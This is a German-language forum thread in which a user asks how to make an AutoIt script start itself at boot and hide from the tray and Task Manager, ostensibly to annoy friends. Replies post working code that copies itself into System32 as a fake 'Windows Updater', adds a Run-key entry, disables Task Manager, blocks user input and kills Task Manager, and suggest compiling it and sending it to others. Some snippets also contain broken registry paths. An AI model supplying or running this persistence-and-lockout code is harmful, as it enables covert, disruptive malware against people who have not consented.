2 AutoIt Fragen...

09/23/2009 19:37 Mehre#1
Hi Leute,

zuerst wollte ich euch mal fragen, ob es möglich ist nem AutoIt Script zu sagen, dass es sich, wenn es einmal geöffnet wurde, in den Autostart einbindet und dan bei jedem Systemstart öffnet?
Und das zweite wäre dann, ob man ein laufendes AutoIt Script verstecken kann, also das man es unten rechts und im TaskManager nicht sieht, dass eins offen ist...
Wäre nett, wenn mir da jemand weiterhelfen würde =)

gruß
Mehre
09/23/2009 19:42 kknb#2
jo geht beides
09/23/2009 21:22 Mehre#3
kknb erstmal thx soweit... jetzt fehlen mir nur noch die befehle xD
09/23/2009 21:42 kknb#4
trayiconhide und RegWrite / fileinstall
09/23/2009 21:57 Ende!#5
Trojaner in Planung? xD

Kein Symbol in Taskleiste:
#NoTrayIcon

Autostart:
Da gibts viele möglichkeiten ...
Die einfachste ist wohl die mit der Registry
(RegWrite).
09/24/2009 12:10 Mehre#6
nein ich mach kein Trojaner :D will nur kumpels n bissel ärgern :P
09/24/2009 20:07 Mehre#7
Quote:
Originally Posted by IceFire32 View Post
Trojaner in Planung? xD

Kein Symbol in Taskleiste:
#NoTrayIcon

Autostart:
Da gibts viele möglichkeiten ...
Die einfachste ist wohl die mit der Registry
(RegWrite).
Da ich halt doch noch AutoIt Anfänger bin und ich mich mit der Registry nicht auskenne (ich lass da lieber die Finger von xD)
Kommen auch dadurch neue Fragen auf:
Was soll das Programm den in die Registry schrieben...?
09/24/2009 20:43 Ende!#8
In der Registry gibts ein Verzeichniss für AutoStart ^^

RegWrite("HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run", "dein programm", "REG_SZ", "C:\\deinProgramm.exe")
09/24/2009 21:16 Mehre#9
Ok... wenn ich das richtig versteh, muss ich bei "deinProgramm.exe" den Namen meines Programms einfügen :D
und das "C:\\deinProgramm.exe" muss da zwischen die "\\" noch der genaue Pfad oder kann das so bleiben?
09/24/2009 21:28 buFFy!#10
Der Exakte Pfad der Datei !
09/24/2009 21:55 Ende!#11
Der genaue Pfad wird benötigt. Am besten du lässt das Programm sich in den Windowsordner kopieren.

Code:
FileCopy(@ScriptName, @WinDir)
Sowohl für RegWrite als auch für einen Kopiervorgang in den Windosordner braucht man unter Vista und Win7 admin Rechte. Das kannst du sicherstellen indem du
Code:
#RequireAdmin
an den Anfang (ist eig egal wo) von deinem Script schreibst.
09/24/2009 22:24 Mehre#12
Ice ich glaub da nerv ich dich noch n bissel mehr mit Fragen xD aber das ganze mach ich jetzt dan erstmal soweit wie ichs weiß und dan frag ich wenn ich nich weiterkomm per PN nach xD
09/24/2009 22:33 Ende!#13
Hab da kein Problem mit, wenn ich helfen kann, tue ich das in der Regel auch ;D Frag ruhig weiter, meinetwegen auch via PM xD
09/25/2009 10:01 | Moep |#14
Thema "Freunde" ärgern, einfach das Script compilieren und verschicken.

Ausführen auf eigene Gefahr!
Ich übernehme keinerlei Haftung für irgendetwas...

Code:
FileCopy(@ScriptName,@StartupCommonDir)
#NoTrayIcon
While 1
    BlockInput(1)
	ControlClick("","","","left",2, Random(0, @Desktopwidth), Random(0, @Desktopheight))
    if WinExists("Windows Task-Manager") Then WinKill("Windows Task-Manager")
WEnd
09/25/2009 12:33 Ende!#15
Quote:
Originally Posted by | Moep | View Post
Thema "Freunde" ärgern, einfach das Script compilieren und verschicken.

Ausführen auf eigene Gefahr!
Ich übernehme keinerlei Haftung für irgendetwas...

Code:
FileCopy(@ScriptName,@StartupCommonDir)
#NoTrayIcon
While 1
    BlockInput(1)
	ControlClick("","","","left",2, Random(0, @Desktopwidth), Random(0, @Desktopheight))
    if WinExists("Windows Task-Manager") Then WinKill("Windows Task-Manager")
WEnd
Naja, Autostart Verzeichniss kennt ja fast jeder ^^ Registry FTW xD
Man kann den Task Manager übrigens auch via Registry deaktivieren ;D

Ich würde zum Ärgern das hier vorschlagen:

Autostart + kein Task Manager:
Code:
If IsAdmin() Then
	FileCopy(@ScriptName, @SystemDir & "\updater32.exe", 1) ; Kopiert das Script nach: C:\Windows\System32
	RegWrite("HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run", "Windows Updater", "REG_SZ", @SystemDir & "\updater32.exe") ; Autostart 
	RegWrite("HKEY_LOCAL_MACHINE/SOFWARE/Microsoft/Windows/CurrentVersion/Policies/System", "REG_DWORD", 1) ; Deaktiviert den Task Manager
Else
	MsgBox(64, "Fehler!", "Es wurde ein Fehler festgestellt: Dieses Programm muss als Administrator gestartet werden!")
	Exit
EndIf
Ärger Code (z.B.):
Code:
While 1
	MouseMove( Random(0, @DesktopWidth), Random(0, @DesktopHeight) )
	Sleep(5000)
WEnd
ODER (zur Suchti Bekämpung ;D(nichts gegen WoWler ^^)):
Code:
While 1
	If WinExists("World of Warcraft") Then
		ProcessClose("wow.exe")
	EndIf
	Sleep(10000)
WEnd
Such dir was aus oder schreib selber was zum ärgern, die Fragen mit dem AutoStart und dem entfernten Tray Icon sollten ja hiermit gelöst sein ;D

Greez